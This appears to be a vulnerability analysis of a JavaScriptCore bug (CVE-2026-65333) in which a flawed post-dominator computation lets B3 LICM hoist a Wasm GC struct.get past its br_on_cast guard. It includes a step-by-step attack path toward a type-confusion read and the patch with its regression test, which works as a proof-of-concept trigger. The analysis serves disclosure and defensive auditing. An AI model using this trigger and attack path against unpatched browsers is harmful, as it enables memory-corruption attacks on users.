CVE-2026-65333
Overview
Background
- B3 / OMG
- JSC’s low-level optimizing IR and its Wasm optimizing compiler. B3’s loop-invariant code motion (LICM) and other control-equivalence consumers rely on a correct post-dominator relation.
- `BackwardsDominators`
- the dominators of that reversed graph, i.e. post-dominators of the forward CFG.
dominates(X, Y)means X post-dominates Y. - `m_rootSuccessorList` / `m_rootSuccessorSet`
- the list/set of reverse-root successors;
addRootSuccessormust add each qualifying node exactly once. - `worklist` (`GraphNodeWorklist`)
- tracks which nodes have been seen while enumerating back-edge sources;
saw(node)reports prior visitation. - Post-dominance and LICM
- LICM may hoist a control-dependent operation out of a loop only if the loop body node post-dominates the loop entry. A spurious post-dominance lets a control-dependent read be hoisted above the guard that makes it safe.
Root Cause Analysis
In BackwardsGraph’s constructor, the reverse-root’s successor set is built in two passes: first every node with no forward successors (true terminals), then (in reverse node order) every remaining node, intending to add each back-edge source. The lambda addRootSuccessor must register a node once into both m_rootSuccessorList/m_rootSuccessorSet and seed the predecessor worklist. The buggy code coupled list/set insertion to worklist.push(node): it appended to the list and added to the set inside the if (worklist.push(node)) branch, and the second pass called addRootSuccessor unconditionally for every node. The result is that a node could be processed inconsistently — in particular a back-edge source that was already seen (e.g. reached as a predecessor during the first pass’s worklist expansion) could be skipped, dropping it from the reverse-root’s successors.
The patch decouples the two concerns and dedups by visitation. addRootSuccessor now adds to the list/set guarded by m_rootSuccessorSet.add(node) (set membership) independently of the worklist seeding, which is guarded separately by if (worklist.push(node)). The terminal pass gains ASSERT(!worklist.saw(node)), and the back-edge-source pass now only calls addRootSuccessor when !worklist.saw(node), so each qualifying node is added exactly once and none is dropped. B3Procedure::backwardsDominators() is additionally exported (JS_EXPORT_PRIVATE) so the new testBackwardsDominatorsWithMultipleBackEdges unit test can exercise it.
The security consequence is spelled out by that test and the Wasm regression backwards-graph-multi-backedge-licm.js: when a loop header has two latches and only one (success) also exits while the other (failure) is exit-less, dropping failure from the reverse-root’s successors makes the header reachable in the reverse CFG only through success, so success falsely post-dominates the header and the entry. That false post-dominance lets B3 LICM hoist a control-dependent struct.get above a br_on_cast guard, so the field load executes on a reference whose cast failed — reading another struct type’s layout. The advisory says “crash”; the diff shows a type-confusion-enabling miscompilation.
BackwardsGraph could drop an exit-less back-edge source (latch) from the synthetic reverse-root’s successors because list/set insertion was tied to the worklist-push condition, yielding a false post-dominance that let LICM hoist a control-dependent read above its br_on_cast type guard.Attack Path
- Craft the loop shape
Attacker builds a Wasm GC function with a loop whose header has two latches: one that can exit and one exit-less, with a
br_on_castguarding astruct.getthat is control-dependent on the cast succeeding (as in the committed test). - Tier to OMG Force OMG compilation (thresholds set in the test) so B3 computes backwards dominators and runs LICM.
- Trigger the dropped latch The multi-back-edge shape causes the exit-less latch to be omitted from the reverse-root’s successors, so the post-dominator computation falsely concludes the guarded block post-dominates the header/entry.
- Hoist past the guard
LICM hoists the control-dependent
struct.getout of the loop, above thebr_on_cast, so it runs even when the cast would have failed. - Primitive
Call with a wrongly-typed object (
makeSmall()where$probeis expected): the hoistedstruct.get $probereads fields of a$smallstruct as(ref $sink)pointers — a Wasm GC type confusion yielding an out-of-bounds / mistyped read of chosen bits (fake-reference / info-leak; further escalation inferred).
Impact Assessment
br_on_cast type guard, producing a Wasm GC type confusion (reading one struct type’s fields from an object of another type). That is materially stronger than the advisory’s “unexpected Safari crash”: it is a mistyped/out-of-bounds read of attacker-influenceable pointer-typed fields (info leak / fake reference). Full R/W escalation is inferred, not proven by the diff; the regression tests demonstrate the unsafe hoist and the type-confused read.Files Changed
JSTests/wasm/gc/backwards-graph-multi-backedge-licm.jsSource/JavaScriptCore/b3/B3Procedure.hSource/JavaScriptCore/b3/testb3.hSource/JavaScriptCore/b3/testb3_1.cppSource/JavaScriptCore/b3/testb3_7.cppSource/WTF/wtf/BackwardsGraph.h
Audit Directions
- Reverse-root successor completenessAudit any other
BackwardsGraph/post-dominator consumers for assumptions that all terminals and back-edge sources are present, and for similar list/set-vs-worklist coupling bugs in graph builders. - LICM / control-equivalence hoistingReview B3 LICM and other transforms that move control-dependent memory operations, confirming they require genuine post-dominance and cannot hoist loads past type/bounds guards like
br_on_cast/ref.cast. - Multi-latch loops in WasmLook for other Wasm GC patterns (multiple latches, exit-less inner loops) that stress the backwards-dominator computation, validating under OMG with watchdog-bounded tests.
Patch
diff --git a/Source/JavaScriptCore/b3/B3Procedure.h b/Source/JavaScriptCore/b3/B3Procedure.h
index 861f61de2532..bcb61b972f2a 100644
--- a/Source/JavaScriptCore/b3/B3Procedure.h
+++ b/Source/JavaScriptCore/b3/B3Procedure.h
@@ -196,7 +196,7 @@ public:
Dominators& dominators();
JS_EXPORT_PRIVATE NaturalLoops& naturalLoops();
BackwardsCFG& backwardsCFG();
- BackwardsDominators& backwardsDominators();
+ JS_EXPORT_PRIVATE BackwardsDominators& backwardsDominators();
void addFastConstant(const ValueKey&);
bool isFastConstant(const ValueKey&);
diff --git a/Source/WTF/wtf/BackwardsGraph.h b/Source/WTF/wtf/BackwardsGraph.h
index 038ac78dddff..d6b09ea7af61 100644
--- a/Source/WTF/wtf/BackwardsGraph.h
+++ b/Source/WTF/wtf/BackwardsGraph.h
@@ -50,9 +50,9 @@ public:
GraphNodeWorklist<typename Graph::Node, typename Graph::Set> worklist;
auto addRootSuccessor = [&] (typename Graph::Node node) {
- if (worklist.push(node)) {
+ if (m_rootSuccessorSet.add(node))
m_rootSuccessorList.append(node);
- m_rootSuccessorSet.add(node);
+ if (worklist.push(node)) {
while (typename Graph::Node node = worklist.pop())
worklist.pushAll(graph.predecessors(node));
}
@@ -77,8 +77,10 @@ public:
for (unsigned i = 0; i < graph.numNodes(); ++i) {
if (typename Graph::Node node = graph.node(i)) {
- if (!graph.successors(node).size())
+ if (!graph.successors(node).size()) {
+ ASSERT(!worklist.saw(node));
addRootSuccessor(node);
+ }
}
}
@@ -88,8 +90,10 @@ public:
// edges. That would require thinking, so we just use a rough heuristic: add the highest
// numbered nodes first, which is totally fine if the input program is already sorted nicely.
for (unsigned i = graph.numNodes(); i--;) {
- if (typename Graph::Node node = graph.node(i))
- addRootSuccessor(node);
+ if (typename Graph::Node node = graph.node(i)) {
+ if (!worklist.saw(node))
+ addRootSuccessor(node);
+ }
}
}
diff --git a/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
new file mode 100644
index 000000000000..b5c92115ab1d
--- /dev/null
+++ b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
@@ -0,0 +1,109 @@
+//@ runDefaultWasm("--useConcurrentJIT=0", "--thresholdForBBQOptimizeAfterWarmUp=0", "--thresholdForBBQOptimizeSoon=0", "--thresholdForOMGOptimizeAfterWarmUp=0", "--thresholdForOMGOptimizeSoon=0")
+
+load("wast.js", "caller relative");
+
+const moduleBytes = WebAssemblyText.encode(`
+(module
+ (type $sink (struct (field i64)))
+ (type $probe
+ (struct
+ (field i64)
+ (field (ref $sink))
+ (field (ref $sink))
+ (field (ref $sink))))
+ (type $small
+ (struct
+ (field i64)
+ (field i64)
+ (field i64)
+ (field i64)))
+ (global $keep (mut i32) (i32.const 0))
+
+ (func (export "makeSink") (param $value i64) (result (ref $sink))
+ (struct.new $sink (local.get $value)))
+
+ (func (export "makeProbe")
+ (param $value i64)
+ (param $sink (ref $sink))
+ (result (ref $probe))
+ (struct.new $probe
+ (local.get $value)
+ (local.get $sink)
+ (local.get $sink)
+ (local.get $sink)))
+
+ (func (export "makeSmall") (result (ref $small))
+ (struct.new $small
+ (i64.const 0)
+ (i64.const 0)
+ (i64.const 0)
+ (i64.const 0)))
+
+ (func (export "readAfterCast")
+ (param $source anyref)
+ (param $valid (ref $sink))
+ (param $bit i64)
+ (param $forceBit i32)
+ (param $useLoaded i32)
+ (param $lateLoop i32)
+ (result i64)
+ (local $probeLocal (ref $probe))
+ (loop $loop (result i64)
+ (block $castSucceeded (result (ref $probe))
+ (br_on_cast $castSucceeded
+ (ref null any)
+ (ref $probe)
+ (local.get $source))
+ (global.set $keep (i32.const 1))
+ (br $loop))
+ (local.set $probeLocal)
+
+ (struct.get $probe 2 (local.get $probeLocal))
+ (struct.get $probe 3 (local.get $probeLocal))
+ (struct.get $probe 2 (local.get $probeLocal))
+ (local.get $valid)
+ (struct.get $probe 1 (local.get $probeLocal))
+ (struct.get $sink 0)
+ (local.get $bit)
+ i64.shr_u
+ i32.wrap_i64
+ i32.const 1
+ i32.and
+ (local.get $forceBit)
+ (local.get $useLoaded)
+ (select (result i32))
+ i32.eqz
+ (select (result (ref $sink)))
+ (struct.get $sink 0)
+ i64.const 1
+ i64.and
+ i32.wrap_i64
+ (select (result (ref $sink)))
+ (struct.get $sink 0)
+ (br_if $loop (local.get $lateLoop))))
+)
+`);
+
+const { makeProbe, makeSink, makeSmall, readAfterCast } =
+ new WebAssembly.Instance(new WebAssembly.Module(moduleBytes)).exports;
+const sink = makeSink(0x5152535455565758n);
+const probe = makeProbe(0x1111111111111111n, sink);
+
+for (let iteration = 0; iteration < 1000; ++iteration)
+ readAfterCast(probe, sink, 0n, 0, 1, 0);
+
+// Correct semantics: cast failure loops forever before any control-dependent
+// struct.get executes. OMG-compiled Wasm loops have no watchdog poll (rdar://103455312), so bound
+// the test by exiting from a helper thread once the main thread has had time to
+// reach the loop.
+$.agent.start(`
+ $.agent.sleep(10); // 10 ms
+ quit();
+`);
+
+try {
+ readAfterCast(makeSmall(), sink, 0n, 0, 1, 0);
+ throw new Error("readAfterCast on a failed cast should not return");
+} catch (e) {
+ throw new Error("B3 LICM hoisted control-dependent struct.get past br_on_cast: " + e);
+}
diff --git a/Source/JavaScriptCore/b3/testb3.h b/Source/JavaScriptCore/b3/testb3.h
index c334bb570c67..151f2f0ff76b 100644
--- a/Source/JavaScriptCore/b3/testb3.h
+++ b/Source/JavaScriptCore/b3/testb3.h
@@ -1260,6 +1260,7 @@ void testShuffleDoesntTrashCalleeSaves();
void testDemotePatchpointTerminal();
void testReportUsedRegistersLateUseFollowedByEarlyDefDoesNotMarkUseAsDead();
void testInfiniteLoopDoesntCauseBadHoisting();
+void testBackwardsDominatorsWithMultipleBackEdges();
void testDivImmArgFloat(float, float);
void testDivImmsFloat(float, float);
void testModArgDouble(double);
diff --git a/Source/JavaScriptCore/b3/testb3_1.cpp b/Source/JavaScriptCore/b3/testb3_1.cpp
index 1654704b6618..ae86b114fe0b 100644
--- a/Source/JavaScriptCore/b3/testb3_1.cpp
+++ b/Source/JavaScriptCore/b3/testb3_1.cpp
@@ -880,6 +880,7 @@ void run(const TestConfig* config)
RUN(testLoopWithMultipleHeaderEdges());
RUN(testInfiniteLoopDoesntCauseBadHoisting());
+ RUN(testBackwardsDominatorsWithMultipleBackEdges());
RUN(testFloatMaxMin());
RUN(testDoubleMaxMin());
diff --git a/Source/JavaScriptCore/b3/testb3_7.cpp b/Source/JavaScriptCore/b3/testb3_7.cpp
index 19780d6c4404..cb3216729a85 100644
--- a/Source/JavaScriptCore/b3/testb3_7.cpp
+++ b/Source/JavaScriptCore/b3/testb3_7.cpp
@@ -25,6 +25,7 @@
#include "config.h"
#include "testb3.h"
+#include "B3BackwardsDominators.h"
#include <wtf/WasmSIMD128.h>
WTF_ALLOW_UNSAFE_BUFFER_USAGE_BEGIN
@@ -1678,6 +1679,70 @@ void testInfiniteLoopDoesntCauseBadHoisting()
invoke<void>(*code, static_cast<intptr_t>(55)); // Shouldn't crash dereferncing 55.
}
+void testBackwardsDominatorsWithMultipleBackEdges()
+{
+ // A loop whose header has two latches (back-edge sources), where only one
+ // of them also exits the loop:
+ //
+ // root --> header
+ // header --> success | failure (branch)
+ // success --> header (back edge) | exit (branch) // latch that can exit
+ // failure --> header (back edge) // latch with no exit
+ // exit --> Return // the only terminal
+ //
+ // `success` and `failure` are both back-edge sources. The `failure` latch
+ // has no exit of its own, so control that keeps taking it loops forever.
+ // BackwardsGraph treats that as a form of terminality: it computes
+ // post-dominators by reversing the CFG and giving the synthetic reverse
+ // root a successor for every terminal and every back-edge source.
+ //
+ // The property B3 LICM (and the control-equivalence consumers) rely on is
+ // the post-dominator relation: `success` must NOT post-dominate the header
+ // or the loop entry, because control can stay in the loop forever via the
+ // exit-less `failure` latch without ever reaching `success`. If `failure`
+ // is missing from the reverse root's successors, the header is reachable in
+ // the reverse CFG only through `success`, so `success` falsely
+ // post-dominates the header (and `root`) -- the false relationship that
+ // would let LICM hoist a control-dependent read out of the loop.
+ Procedure proc;
+ BasicBlock* root = proc.addBlock();
+ BasicBlock* header = proc.addBlock();
+ BasicBlock* success = proc.addBlock();
+ BasicBlock* failure = proc.addBlock();
+ BasicBlock* exit = proc.addBlock();
+ auto arguments = cCallArgumentValues<intptr_t>(proc, root);
+ Value* arg = arguments[0];
+
+ root->appendNewControlValue(proc, Jump, Origin(), header);
+ header->appendNewControlValue(
+ proc, Branch, Origin(),
+ header->appendNew<Value>(proc, Equal, Origin(), arg,
+ header->appendNew<ConstPtrValue>(proc, Origin(), 10)),
+ success, failure);
+ success->appendNewControlValue(
+ proc, Branch, Origin(),
+ success->appendNew<Value>(proc, Equal, Origin(), arg,
+ success->appendNew<ConstPtrValue>(proc, Origin(), 20)),
+ header, exit);
+ failure->appendNewControlValue(proc, Jump, Origin(), header);
+ exit->appendNewControlValue(proc, Return, Origin());
+
+ proc.resetReachability();
+
+ BackwardsDominators& backwardsDominators = proc.backwardsDominators();
+
+ // Sanity: `header` genuinely post-dominates the entry (root's only successor
+ // is header), so the checks below are not vacuously true.
+ CHECK(backwardsDominators.dominates(header, root));
+
+ // The actual property: `success` must not post-dominate the header or the
+ // loop entry, because the exit-less `failure` latch is an escape that
+ // bypasses `success`. A dropped `failure` back-edge source makes both of
+ // these falsely true.
+ CHECK(!backwardsDominators.dominates(success, header));
+ CHECK(!backwardsDominators.dominates(success, root));
+}
+
static void testSimpleTuplePair(unsigned first, int64_t second)
{
Procedure proc;
Regression Test / PoC
diff --git a/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
new file mode 100644
index 000000000000..b5c92115ab1d
--- /dev/null
+++ b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
@@ -0,0 +1,109 @@
+//@ runDefaultWasm("--useConcurrentJIT=0", "--thresholdForBBQOptimizeAfterWarmUp=0", "--thresholdForBBQOptimizeSoon=0", "--thresholdForOMGOptimizeAfterWarmUp=0", "--thresholdForOMGOptimizeSoon=0")
+
+load("wast.js", "caller relative");
+
+const moduleBytes = WebAssemblyText.encode(`
+(module
+ (type $sink (struct (field i64)))
+ (type $probe
+ (struct
+ (field i64)
+ (field (ref $sink))
+ (field (ref $sink))
+ (field (ref $sink))))
+ (type $small
+ (struct
+ (field i64)
+ (field i64)
+ (field i64)
+ (field i64)))
+ (global $keep (mut i32) (i32.const 0))
+
+ (func (export "makeSink") (param $value i64) (result (ref $sink))
+ (struct.new $sink (local.get $value)))
+
+ (func (export "makeProbe")
+ (param $value i64)
+ (param $sink (ref $sink))
+ (result (ref $probe))
+ (struct.new $probe
+ (local.get $value)
+ (local.get $sink)
+ (local.get $sink)
+ (local.get $sink)))
+
+ (func (export "makeSmall") (result (ref $small))
+ (struct.new $small
+ (i64.const 0)
+ (i64.const 0)
+ (i64.const 0)
+ (i64.const 0)))
+
+ (func (export "readAfterCast")
+ (param $source anyref)
+ (param $valid (ref $sink))
+ (param $bit i64)
+ (param $forceBit i32)
+ (param $useLoaded i32)
+ (param $lateLoop i32)
+ (result i64)
+ (local $probeLocal (ref $probe))
+ (loop $loop (result i64)
+ (block $castSucceeded (result (ref $probe))
+ (br_on_cast $castSucceeded
+ (ref null any)
+ (ref $probe)
+ (local.get $source))
+ (global.set $keep (i32.const 1))
+ (br $loop))
+ (local.set $probeLocal)
+
+ (struct.get $probe 2 (local.get $probeLocal))
+ (struct.get $probe 3 (local.get $probeLocal))
+ (struct.get $probe 2 (local.get $probeLocal))
+ (local.get $valid)
+ (struct.get $probe 1 (local.get $probeLocal))
+ (struct.get $sink 0)
+ (local.get $bit)
+ i64.shr_u
+ i32.wrap_i64
+ i32.const 1
+ i32.and
+ (local.get $forceBit)
+ (local.get $useLoaded)
+ (select (result i32))
+ i32.eqz
+ (select (result (ref $sink)))
+ (struct.get $sink 0)
+ i64.const 1
+ i64.and
+ i32.wrap_i64
+ (select (result (ref $sink)))
+ (struct.get $sink 0)
+ (br_if $loop (local.get $lateLoop))))
+)
+`);
+
+const { makeProbe, makeSink, makeSmall, readAfterCast } =
+ new WebAssembly.Instance(new WebAssembly.Module(moduleBytes)).exports;
+const sink = makeSink(0x5152535455565758n);
+const probe = makeProbe(0x1111111111111111n, sink);
+
+for (let iteration = 0; iteration < 1000; ++iteration)
+ readAfterCast(probe, sink, 0n, 0, 1, 0);
+
+// Correct semantics: cast failure loops forever before any control-dependent
+// struct.get executes. OMG-compiled Wasm loops have no watchdog poll (rdar://103455312), so bound
+// the test by exiting from a helper thread once the main thread has had time to
+// reach the loop.
+$.agent.start(`
+ $.agent.sleep(10); // 10 ms
+ quit();
+`);
+
+try {
+ readAfterCast(makeSmall(), sink, 0n, 0, 1, 0);
+ throw new Error("readAfterCast on a failed cast should not return");
+} catch (e) {
+ throw new Error("B3 LICM hoisted control-dependent struct.get past br_on_cast: " + e);
+}
diff --git a/Source/JavaScriptCore/b3/testb3.h b/Source/JavaScriptCore/b3/testb3.h
index c334bb570c67..151f2f0ff76b 100644
--- a/Source/JavaScriptCore/b3/testb3.h
+++ b/Source/JavaScriptCore/b3/testb3.h
@@ -1260,6 +1260,7 @@ void testShuffleDoesntTrashCalleeSaves();
void testDemotePatchpointTerminal();
void testReportUsedRegistersLateUseFollowedByEarlyDefDoesNotMarkUseAsDead();
void testInfiniteLoopDoesntCauseBadHoisting();
+void testBackwardsDominatorsWithMultipleBackEdges();
void testDivImmArgFloat(float, float);
void testDivImmsFloat(float, float);
void testModArgDouble(double);
diff --git a/Source/JavaScriptCore/b3/testb3_1.cpp b/Source/JavaScriptCore/b3/testb3_1.cpp
index 1654704b6618..ae86b114fe0b 100644
--- a/Source/JavaScriptCore/b3/testb3_1.cpp
+++ b/Source/JavaScriptCore/b3/testb3_1.cpp
@@ -880,6 +880,7 @@ void run(const TestConfig* config)
RUN(testLoopWithMultipleHeaderEdges());
RUN(testInfiniteLoopDoesntCauseBadHoisting());
+ RUN(testBackwardsDominatorsWithMultipleBackEdges());
RUN(testFloatMaxMin());
RUN(testDoubleMaxMin());
diff --git a/Source/JavaScriptCore/b3/testb3_7.cpp b/Source/JavaScriptCore/b3/testb3_7.cpp
index 19780d6c4404..cb3216729a85 100644
--- a/Source/JavaScriptCore/b3/testb3_7.cpp
+++ b/Source/JavaScriptCore/b3/testb3_7.cpp
@@ -25,6 +25,7 @@
#include "config.h"
#include "testb3.h"
+#include "B3BackwardsDominators.h"
#include <wtf/WasmSIMD128.h>
WTF_ALLOW_UNSAFE_BUFFER_USAGE_BEGIN
@@ -1678,6 +1679,70 @@ void testInfiniteLoopDoesntCauseBadHoisting()
invoke<void>(*code, static_cast<intptr_t>(55)); // Shouldn't crash dereferncing 55.
}
+void testBackwardsDominatorsWithMultipleBackEdges()
+{
+ // A loop whose header has two latches (back-edge sources), where only one
+ // of them also exits the loop:
+ //
+ // root --> header
+ // header --> success | failure (branch)
+ // success --> header (back edge) | exit (branch) // latch that can exit
+ // failure --> header (back edge) // latch with no exit
+ // exit --> Return // the only terminal
+ //
+ // `success` and `failure` are both back-edge sources. The `failure` latch
+ // has no exit of its own, so control that keeps taking it loops forever.
+ // BackwardsGraph treats that as a form of terminality: it computes
+ // post-dominators by reversing the CFG and giving the synthetic reverse
+ // root a successor for every terminal and every back-edge source.
+ //
+ // The property B3 LICM (and the control-equivalence consumers) rely on is
+ // the post-dominator relation: `success` must NOT post-dominate the header
+ // or the loop entry, because control can stay in the loop forever via the
+ // exit-less `failure` latch without ever reaching `success`. If `failure`
+ // is missing from the reverse root's successors, the header is reachable in
+ // the reverse CFG only through `success`, so `success` falsely
+ // post-dominates the header (and `root`) -- the false relationship that
+ // would let LICM hoist a control-dependent read out of the loop.
+ Procedure proc;
+ BasicBlock* root = proc.addBlock();
+ BasicBlock* header = proc.addBlock();
+ BasicBlock* success = proc.addBlock();
+ BasicBlock* failure = proc.addBlock();
+ BasicBlock* exit = proc.addBlock();
+ auto arguments = cCallArgumentValues<intptr_t>(proc, root);
+ Value* arg = arguments[0];
+
+ root->appendNewControlValue(proc, Jump, Origin(), header);
+ header->appendNewControlValue(
+ proc, Branch, Origin(),
+ header->appendNew<Value>(proc, Equal, Origin(), arg,
+ header->appendNew<ConstPtrValue>(proc, Origin(), 10)),
+ success, failure);
+ success->appendNewControlValue(
+ proc, Branch, Origin(),
+ success->appendNew<Value>(proc, Equal, Origin(), arg,
+ success->appendNew<ConstPtrValue>(proc, Origin(), 20)),
+ header, exit);
+ failure->appendNewControlValue(proc, Jump, Origin(), header);
+ exit->appendNewControlValue(proc, Return, Origin());
+
+ proc.resetReachability();
+
+ BackwardsDominators& backwardsDominators = proc.backwardsDominators();
+
+ // Sanity: `header` genuinely post-dominates the entry (root's only successor
+ // is header), so the checks below are not vacuously true.
+ CHECK(backwardsDominators.dominates(header, root));
+
+ // The actual property: `success` must not post-dominate the header or the
+ // loop entry, because the exit-less `failure` latch is an escape that
+ // bypasses `success`. A dropped `failure` back-edge source makes both of
+ // these falsely true.
+ CHECK(!backwardsDominators.dominates(success, header));
+ CHECK(!backwardsDominators.dominates(success, root));
+}
+
static void testSimpleTuplePair(unsigned first, int64_t second)
{
Procedure proc;